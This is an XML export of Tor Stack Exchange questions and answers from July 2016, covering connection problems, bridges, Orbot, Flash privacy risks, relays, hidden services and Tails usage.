  <row Id="12118" PostTypeId="1" CreationDate="2016-07-14T12:24:13.350" Score="1" ViewCount="33" Body="&lt;p&gt;After downloading the Tor Browser to my mid 2011 iMac desktop running El Capitan, opening the disk image (dmg file) results in it rreporting that it is 'attaching'.  After a minute or so, it times out with no result.&#xA;I used Firefox to download.  AT&amp;amp;T is my ISP.  I am an average user as regards ability.&#xA;Any ideas? Tips? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13627" LastEditorUserId="-1" LastEditDate="2016-07-17T03:59:18.173" LastActivityDate="2016-07-17T03:59:18.173" Title="Tor Browser .dmg won't 'attach' on iMac" Tags="|tor-browser-bundle|mac|tor-install|" AnswerCount="0" CommentCount="1" ClosedDate="2016-07-18T19:32:45.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="12119" PostTypeId="1" CreationDate="2016-07-14T13:16:33.700" Score="3" ViewCount="738" Body="&lt;p&gt;I know that Android leaks during startup, before it has loaded iptables from a firewall. This of course is a big issue when trying to hide the true IP from an app in Orbot / Orwall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might sound odd, but if these leaks only happen during startup, wouldn't it be possible to just wrap the phone in some standard tinfoil if you need to reboot it (which is like once a month for a lot of people)? Would this suffice to prevent any connections until it's booted and iptables are loaded? If this actually works, it would prevent a lot of headaches trying to fix the impossible.&lt;/p&gt;&#xA;" OwnerUserId="13628" LastActivityDate="2022-04-12T16:09:00.923" Title="Orbot - prevent startup IP leaks" Tags="|orbot|android|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12120" PostTypeId="2" ParentId="12117" CreationDate="2016-07-14T15:53:19.517" Score="3" Body="&lt;p&gt;Because their CDN, &lt;em&gt;s1.tsuki-board.net&lt;/em&gt;, blocks Tor connections with a captcha. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically if you visit &lt;a href=&quot;http://s1.tsuki-board.net&quot; rel=&quot;nofollow&quot;&gt;http://s1.tsuki-board.net&lt;/a&gt; alone and solve the captcha, you should have the home site working. It usually works this way, but I don't know why it is not for this website. Static contents still return 403 when loaded on the main site, while loads fine alone.&lt;/p&gt;&#xA;" OwnerUserId="6573" LastActivityDate="2016-07-14T15:53:19.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12124" PostTypeId="1" CreationDate="2016-07-14T19:42:35.383" Score="1" ViewCount="871" Body="&lt;p&gt;Sorry but i am new  and i have same problem with similar post &#xA;Not work any bridge&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7/14/2016 10:17:32 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/14/2016 10:17:32 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/14/2016 10:17:32 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/14/2016 10:17:32 AM.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;7/14/2016 10:17:33 AM.200 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;7/14/2016 10:17:33 AM.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;7/14/2016 10:17:33 AM.400 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;7/14/2016 10:17:33 AM.500 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;7/14/2016 10:17:33 AM.600 [WARN] Received http status code 404 (&quot;Not found&quot;) from server 'xxx.xxx.xxx.xxx:443' while fetching &quot;/tor/keys/fp/REDACTED&quot;. &#xA;7/14/2016 10:17:33 AM.600 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;7/14/2016 10:17:37 AM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;7/14/2016 10:17:37 AM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/14/2016 10:17:37 AM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;7/14/2016 10:17:37 AM.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="12737" LastEditDate="2016-07-14T19:58:02.887" LastActivityDate="2016-07-15T06:41:47.207" Title="Can't connect Tor Network, failed to establish network no bridge work" Tags="|bridge|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12130" PostTypeId="1" CreationDate="2016-07-16T02:15:08.010" Score="1" ViewCount="61" Body="&lt;p&gt;I'm a newbie in using Tor so I've tried to establish a Tor network connection but it's obviously facing a problem. I tried to connect directly, w/o using bridges, but it failed. Then I've looked up the problem and I found some were saying that I should use a VPN, which I did and it failed as well. I tried using VPN along with building a bridge around my ISP, in case my ISP was blocking Tor Services, and of course it failed again. And I ain't using any local proxies. &#xA;What can I do to solve this dilemma?  &lt;/p&gt;&#xA;" OwnerUserId="13647" LastActivityDate="2016-07-16T02:15:08.010" Title="I can't establish a connection through Tor" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="1" ClosedDate="2016-07-29T18:54:58.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="12134" PostTypeId="1" CreationDate="2016-07-16T14:54:16.897" Score="0" ViewCount="582" Body="&lt;p&gt;I need to connect my android phone to tor network.&#xA;I tried orbot, for some reason only orfox is working, other apps don't work - I set all setting to &quot;torify&quot; ALL apps but they don't connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to try to connect android phone to tor via  reverse tethering usb connection. I have whonix installed in Virtualbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried reverse tethering app &quot;reverse tether&quot; (in the screenshot) and test connected to non tor virtual machine and it connects OK, but as soon as I route that VM to whonix GW, reverse tether app don't connect.&#xA;(Both whonix GW and WS connects to tor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not very knowledgeable about networks, so if someone can help what IP addresses (desired IP, gateway IP) should I set in reverse tether app in android, so it make it connect and work? Or which settings should be changed so I can finally connect android to Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cZyCN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cZyCN.jpg&quot; alt=&quot;Screenshot: Linux connection vs Reserve tether app in android&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13248" LastActivityDate="2017-02-12T22:29:49.737" Title="Android reverse tethering through Whonix Workstation in virtualbox?" Tags="|whonix|android|virtual-machine|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12135" PostTypeId="1" CreationDate="2016-07-16T16:34:35.593" Score="1" ViewCount="202" Body="&lt;p&gt;I have read about how installing the Flash plugin in Tor introduces numerous privacy flaws, such as allowing third parties to determine who you are through determining your IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would allowing Flash allow a network admin to determine what content I am viewing e.g. videos/games?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on my own computer (not for example for work, i.e. nobody can install software on it but me), however I use a network I don't control. My understanding is that by default Tor will prevent the network admin seeing what I am accessing.&lt;/p&gt;&#xA;" OwnerUserId="12244" LastActivityDate="2016-07-17T00:09:34.147" Title="Will Flash compromise content viewing to ISP?" Tags="|anonymity|flash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12136" PostTypeId="2" ParentId="12135" CreationDate="2016-07-16T17:21:33.307" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;nobody can install software on it but me&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Flash provides a great security-hole for people to gain access to your computer (if that is the kind of threat you face), thus nullifying the above statement.  Try to avoid Flash, but if you must use it ensure it has the most recent security patches available.&lt;/p&gt;&#xA;" OwnerUserId="12194" LastActivityDate="2016-07-16T17:21:33.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12137" PostTypeId="1" AcceptedAnswerId="12139" CreationDate="2016-07-16T21:12:39.193" Score="0" ViewCount="535" Body="&lt;p&gt;I've read the post from TOR &lt;a href=&quot;https://blog.torproject.org/blog/some-statistics-about-onions&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/some-statistics-about-onions&lt;/a&gt;&lt;br&gt;&#xA;But they don't really answer my question, they mention that there are 30K onions that &quot;anounce&quot; their existance every day, but in their intro they mention &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Approximately how many hidden services are there?&lt;br&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But they don't answer it, so I'm curious if there's some kind of way we can estimate how many onions there are.&lt;/p&gt;&#xA;" OwnerUserId="13640" LastActivityDate="2016-07-16T23:21:46.157" Title="How many hidden services are there approximately" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12139" PostTypeId="2" ParentId="12137" CreationDate="2016-07-16T23:21:46.157" Score="3" Body="&lt;p&gt;There are metrics available for this through &lt;a href=&quot;https://metrics.torproject.org&quot; rel=&quot;nofollow&quot;&gt;Tor Metrics&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://metrics.torproject.org/hidserv-dir-onions-seen.html&quot; rel=&quot;nofollow&quot;&gt;Tor Metrics — Unique .onion addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The following graph shows the number of unique .onion addresses in the network per day. These numbers are &lt;strong&gt;extrapolated from aggregated statistics on unique .onion addresses reported by single relays acting as hidden-service directories&lt;/strong&gt;, if at least 1% of relays reported these statistics. For more details on the extrapolation algorithm, see &lt;a href=&quot;https://blog.torproject.org/blog/some-statistics-about-onions&quot; rel=&quot;nofollow&quot;&gt;this blog post&lt;/a&gt; and &lt;a href=&quot;https://research.torproject.org/techreports/extrapolating-hidserv-stats-2015-01-31.pdf&quot; rel=&quot;nofollow&quot;&gt;this technical report&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-16T23:21:46.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12141" PostTypeId="2" ParentId="12135" CreationDate="2016-07-17T00:09:34.147" Score="3" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without even starting on the subject of it's comically long list of exploits, many of which have been discovered because they were already in use in the wild as a 0day, it will entirely break Tor Browsers protections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Tor Browser is configured and patched to best enforce &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#proxy-obedience&quot; rel=&quot;nofollow&quot;&gt;&quot;Proxy Obedience&quot;&lt;/a&gt;, Flash is a seperate application which Tor Browser cannot control. Flash, and other plugins, can and regularly do entirely disregard the proxy settings of the browser itself. This would mean any flash content you loaded would potentially, accidentally or intentionally, fetch resources or make connections outside of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, Flash logs information about the sites it visits and the content that it loads, violating Tor Browser's &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#disk-avoidance&quot; rel=&quot;nofollow&quot;&gt;anti-forensic properties&lt;/a&gt;. Any site could have an embedded flash element and try to cause you to store information about sites that you visit to disk meaning that your browsing history is would also be outside of the control of Tor Browser too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also presents a problem with persistent storage outside of Tor Browsers control because it violate Tor Browser's &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#new-identity&quot; rel=&quot;nofollow&quot;&gt;long-term unlinkability&lt;/a&gt;. A website can store and retrieve information from your computer system through Flash, Mallory can use this to store some unique value on your computer and then during later browsing sessions, retrieve the unqiue value to link the sessions together.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-17T00:09:34.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12142" PostTypeId="1" AcceptedAnswerId="12338" CreationDate="2016-07-17T01:30:20.920" Score="1" ViewCount="139" Body="&lt;p&gt;I was using Tor, for years, to download files to a web server. All of a sudden it has stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the Tor logs and there is nothing there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cleared iptables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps -elf | grep tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;shows all is well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running something like this just hangs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5-hostname 127.0.0.1:9050 https://domain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea of how I might be able to test if my hosting company has blocked me from connecting to Tor?&lt;/p&gt;&#xA;" OwnerUserId="10759" LastEditorUserId="10759" LastEditDate="2016-07-19T01:59:07.703" LastActivityDate="2016-08-08T22:43:15.693" Title="Checking if my host has blocked Tor" Tags="|ubuntu|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12143" PostTypeId="1" CreationDate="2016-07-17T17:31:41.487" Score="1" ViewCount="7150" Body="&lt;p&gt;I am using Ubuntu 14.04 LTS.I am also using live tails OS using USB pendrive.But when I use live OS I cann't access my hard drive's file which is saved in my laptop using primary OS(Ubuntu 14.04).It requires administrator password.I used my login password but not worked.What can I do?&lt;/p&gt;&#xA;" OwnerUserId="13664" LastActivityDate="2016-08-16T22:48:51.533" Title="How can I access hard drive in my laptop using live tails OS?" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12144" PostTypeId="2" ParentId="12134" CreationDate="2016-07-17T18:09:15.720" Score="1" Body="&lt;p&gt;This is &lt;a href=&quot;https://www.whonix.org/wiki/Unsupported&quot; rel=&quot;nofollow&quot;&gt;unsupported&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure:&#xA;I am a developer of Whonix.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2016-07-17T18:09:15.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12145" PostTypeId="2" ParentId="12143" CreationDate="2016-07-17T21:20:19.563" Score="1" Body="&lt;p&gt;You need to go to more options on the Tails Greeter menu and set an Administration Password, this password can then be used to mount and access internal disks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the guide in the &lt;a href=&quot;https://tails.boum.org/doc/encryption_and_privacy/your_data_wont_be_saved_unless_explicitly_asked/index.en.html#access_hdd&quot; rel=&quot;nofollow&quot;&gt;Tails documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-17T21:20:19.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12147" PostTypeId="1" CreationDate="2016-07-18T16:27:26.407" Score="1" ViewCount="151" Body="&lt;p&gt;In current Tor design, everytime a user type in an URL1, TBB will connect with that URL1 using a Tor path (say, A-B1-C1, with C1 is an exit node). And, for another URL2, TBB will connect with that URL2 using a Tor path A-B2-C2, wich C2 is another exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is that, if the website of URL1 has contents that link to website of URL2 (e.g., a video clip, or a picture), will TBB still use C1 to load those contents or will it use C2 in background to load the contents from URL2?&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2016-08-17T17:58:19.687" Title="Does Tor really use only one exit node for one website or more than one in the background?" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12148" PostTypeId="2" ParentId="12147" CreationDate="2016-07-18T17:29:14.687" Score="1" Body="&lt;p&gt;Not quite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses the &quot;first party domain&quot; to isolate requests (I.E. requests within a tab will use the same circuit, based on the domain in the tab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If URL1 has some &lt;code&gt;&amp;lt;img src=URL2&amp;gt;&lt;/code&gt; html entity, it should use C1 to fetch it, similarly if URL2 has some &lt;code&gt;&amp;lt;img src=URL1&amp;gt;&lt;/code&gt; content, it should use C2 to fetch it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this doesn't &lt;em&gt;guarantee&lt;/em&gt; different exits, just distinct circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/3455&quot; rel=&quot;nofollow&quot;&gt;#3455 (Tor Browser should set SOCKS username for a request based  on first party domain)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#identifier-linkability&quot; rel=&quot;nofollow&quot;&gt;Cross-Origin Identifier Unlinkability&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-18T17:29:14.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12149" PostTypeId="1" AcceptedAnswerId="12159" CreationDate="2016-07-18T21:22:20.933" Score="1" ViewCount="483" Body="&lt;p&gt;I want to know if running a tor hidden service also creates a relay/node. I want to know this because my vps provider bans tor nodes.&lt;/p&gt;&#xA;" OwnerUserId="13675" LastActivityDate="2016-09-18T15:14:47.183" Title="Does running a tor hidden service require a relay?" Tags="|onion-services|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12150" PostTypeId="1" CreationDate="2016-07-19T06:46:12.203" Score="0" ViewCount="51" Body="&lt;p&gt;I am trying to run a tor relay. I have went to the torcc file and uncommented what I believe be. Then I exited tor, then I started the tor bundle pkg. So how do i know in linux system that the relay is working?&lt;/p&gt;&#xA;" OwnerUserId="13678" LastActivityDate="2016-11-16T20:18:09.530" Title="Starting Tor Relay?" Tags="|pluggable-transports|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12152" PostTypeId="1" CreationDate="2016-07-19T15:46:40.867" Score="1" ViewCount="49" Body="&lt;p&gt;I maintain a few Tor middle relays on different broadband connections, so I’m relatively familiar with running the Tor software on small Linux and FreeBSD servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next project might be to set up a bridge relay, since I assume they’re a quite scarce resource. I want the Tor network and its users to get the most out of the bandwidth I can donate, so here's a thing I've been pondering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my understanding, bridges have a tendency to get blacklisted by oppressive entities relatively quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I’m wondering: would I provide a useful service to network at large by hosting a bridge relay and then changing its ip address every now and then, for the purpose of having a &quot;fresher asset&quot; to offer the network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically: it would be trivial for me to set up a bridge relay on a broadband connection. I could do something simple like presenting a different MAC address on the WAN interface to get a different ip address from the ISP’s DHCP service, and perhaps even automate this process to take place at random every 30-90 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean: Is there a sufficiently large variation in how sophisticated adversaries are in blocking bridges for users who need them, for the Tor network to make actual use of bridges with IPs that fluctuate within a single ISP’s regional address space?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is this a futile exercise that just would get traffic to and from my ISP’s entire customer IP address space filtered and scrutinized by the kinds of networks that already force its users to rely on Tor bridges? &lt;/p&gt;&#xA;" OwnerUserId="12803" LastEditorUserId="12803" LastEditDate="2016-07-19T15:52:27.457" LastActivityDate="2016-07-19T15:52:27.457" Title="Is it useful to use ISP's DHCP to regularly change IP address of bridge relays?" Tags="|bridge|censorship|ip-address|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12156" PostTypeId="2" ParentId="12150" CreationDate="2016-07-19T19:11:51.283" Score="1" Body="&lt;p&gt;Your Tor log will report that it has successfully been able to perform a self-connectivity test, then you will also be able to find it in the next consensus assuming it was voted into it. You can also see if it's in the consensus by looking for it on &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-19T19:11:51.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12158" PostTypeId="2" ParentId="12142" CreationDate="2016-07-19T21:05:26.943" Score="0" Body="&lt;p&gt;Most often how an ISP will try to block tor is by making it impossible to initiate a tor session. You can get around this with the &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;pluggable transports&lt;/a&gt;. How some of these will work is that they make it look like you are talking to google or some other service and hide the tor communications within these sessions (That was an extremely basic explanation. it's cool stuff, I suggest everyone read about it). Here is a good talk about it by two tor devs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://media.ccc.de/v/28c3-4800-en-how_governments_have_tried_to_block_tor&quot; rel=&quot;nofollow&quot;&gt;How governments have tried to block Tor [28C3]&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7711" LastEditorUserId="12737" LastEditDate="2016-07-20T01:45:55.097" LastActivityDate="2016-07-20T01:45:55.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12159" PostTypeId="2" ParentId="12149" CreationDate="2016-07-19T21:09:25.277" Score="0" Body="&lt;p&gt;No, running a hidden service requires very little, not even an open port, you can do it with purely outbound requests.&lt;/p&gt;&#xA;" OwnerUserId="7711" LastActivityDate="2016-07-19T21:09:25.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12162" PostTypeId="2" ParentId="12149" CreationDate="2016-07-20T01:49:28.380" Score="0" Body="&lt;p&gt;Single word answer for your question: no. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2016-07-20T01:49:28.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12163" PostTypeId="1" CreationDate="2016-07-20T04:40:01.107" Score="1" ViewCount="137" Body="&lt;p&gt;i have already seen similar questions asked in this website but it is always answered by the site is &quot;actually&quot; down.my problem is different.the site i am trying to access shows&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to connect&#xA;  Firefox can't establish a connection to the server at xxxxxx.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The site could be temporarily unavailable or too busy. Try again in a few moments.&#xA;If you are unable to load any pages, check your computer's network connection.&#xA;If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the Web.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;the problem of mine is that my friends can access this site ...while i cant so it is not down.also i have been able to access this site a few hours ago&lt;/em&gt;&lt;/strong&gt;.so where is the problem?&#xA;&lt;code&gt;&#xA;tor log:&#xA;7/20/2016 22:51:18 PM.600 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;7/20/2016 22:51:20 PM.100 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;7/20/2016 22:51:22 PM.500 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;7/20/2016 22:51:22 PM.500 [NOTICE] Bootstrapped 100%: Done &#xA;7/20/2016 22:51:23 PM.900 [NOTICE] New control connection opened from 127.0.0.1. &#xA;7/20/2016 22:51:24 PM.000 [NOTICE] New control connection opened from 127.0.0.1. &#xA;7/20/2016 22:52:38 PM.900 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;&lt;/code&gt;&#xA;&lt;strong&gt;&lt;em&gt;it appears that with time i am unable to connect to more and more sites&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13693" LastEditorUserId="13693" LastEditDate="2016-07-20T10:59:02.447" LastActivityDate="2016-07-22T23:45:13.153" Title="I cant connect to tor websites" Tags="|tor-browser-bundle|onion-services|windows|website|" AnswerCount="0" CommentCount="7" ClosedDate="2016-08-05T20:22:52.403" ContentLicense="CC BY-SA 3.0" />
  <row Id="12166" PostTypeId="1" CreationDate="2016-07-20T07:07:04.003" Score="1" ViewCount="152" Body="&lt;p&gt;Could Someone attack tails firmware through tails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed that some applications on OS does not require administrative privilege. Such is the browser add-on such as the one that can be used now to download tails. So will it be better if we broaden the administrative privilege granting requirements to include more security for the OS. If someone send a payload to the tails OS which will it or will not result in that payload flashing my firmware. Most such payloads may some may not or they contain a flash utility. Would tails prevent such utilities from working without administrative privilege set? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not is it possible for tails to broaden the administrative privileges to include such utilities from functioning with administrative privilege set and not without super user rights set Or just remove this function or code all together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of UEFI there may or may not be an added method of reaching the firmware. Most prior Linux kernels did not support firmware updates. Now there have been improvement in the kernel to include UEFI updates. Most new kernels and some old ones still as well support firmware updates. Does tails remove the code that courses such updates? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not is the case would it not provide more security for the OS if such function code be removed from the tails OS?&lt;/p&gt;&#xA;" OwnerUserId="7814" LastActivityDate="2016-07-20T08:22:38.640" Title="Could Someone attack tails firmware through tails?" Tags="|security|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12167" PostTypeId="2" ParentId="12166" CreationDate="2016-07-20T08:22:38.640" Score="1" Body="&lt;p&gt;Yes, someone could attack firmware from Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, broadening the administrative privilege requirements won't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails does require administrative privileges to perform most of these activities, however these privileges are granted automatically to a subset of processes with limited scope. This reduces the attack surface for performing such attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely, requiring root privileges to perform day-to-day activities, like installing updates only exposes unlimited privilege escalation to any successful attacker, which they wouldn't otherwise possess. Once the user, from userspace, escalates to root (through sudo or the root terminal) any other process running in the context users account can hijack the users elevated privilege state to perform unconstrained attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes, it is possible.&lt;/li&gt;&#xA;&lt;li&gt;No, it is not likely.&lt;/li&gt;&#xA;&lt;li&gt;Making the user accept more privileges more often will make you more vulnerable to that kind of attack.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-20T08:22:38.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12170" PostTypeId="2" ParentId="12104" CreationDate="2016-07-21T02:09:57.080" Score="1" Body="&lt;p&gt;Permanent exceptions can't be made in Private Browsing mode. Go to about:preferences#privacy and either uncheck &quot;Always use private browsing mode&quot; or select &quot;Remember History.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will save your browsing history, download history, and save cookies by default. To fix, uncheck &quot;Remember browsing and download history&quot; and &quot;Remember search and form history.&quot; For cookies, accept them, but keep until &quot;I close Tor Browser.&quot;&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-07-21T02:09:57.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12171" PostTypeId="1" AcceptedAnswerId="12172" CreationDate="2016-07-21T02:10:44.377" Score="0" ViewCount="487" Body="&lt;p&gt;I'm trying to access &lt;a href=&quot;https://www.torrentz.com&quot; rel=&quot;nofollow&quot;&gt;https://www.torrentz.com&lt;/a&gt; through the Tor Browser Bundle, but I get the &quot;connection not secure&quot; warning. TBB says the issuer certificate is unknown. I can access the site just fine through Firefox, which says the site is verified by COMODO CA Limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on here? Is something wrong with the Tor Browser, or is there a reason it doesn't trust Comodo CA?&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-07-22T15:53:33.460" Title="TBB Sec Error Unknown Issuer (Comodo CA)" Tags="|https|certificate|" AnswerCount="1" CommentCount="2" ClosedDate="2017-04-21T11:14:00.887" ContentLicense="CC BY-SA 3.0" />
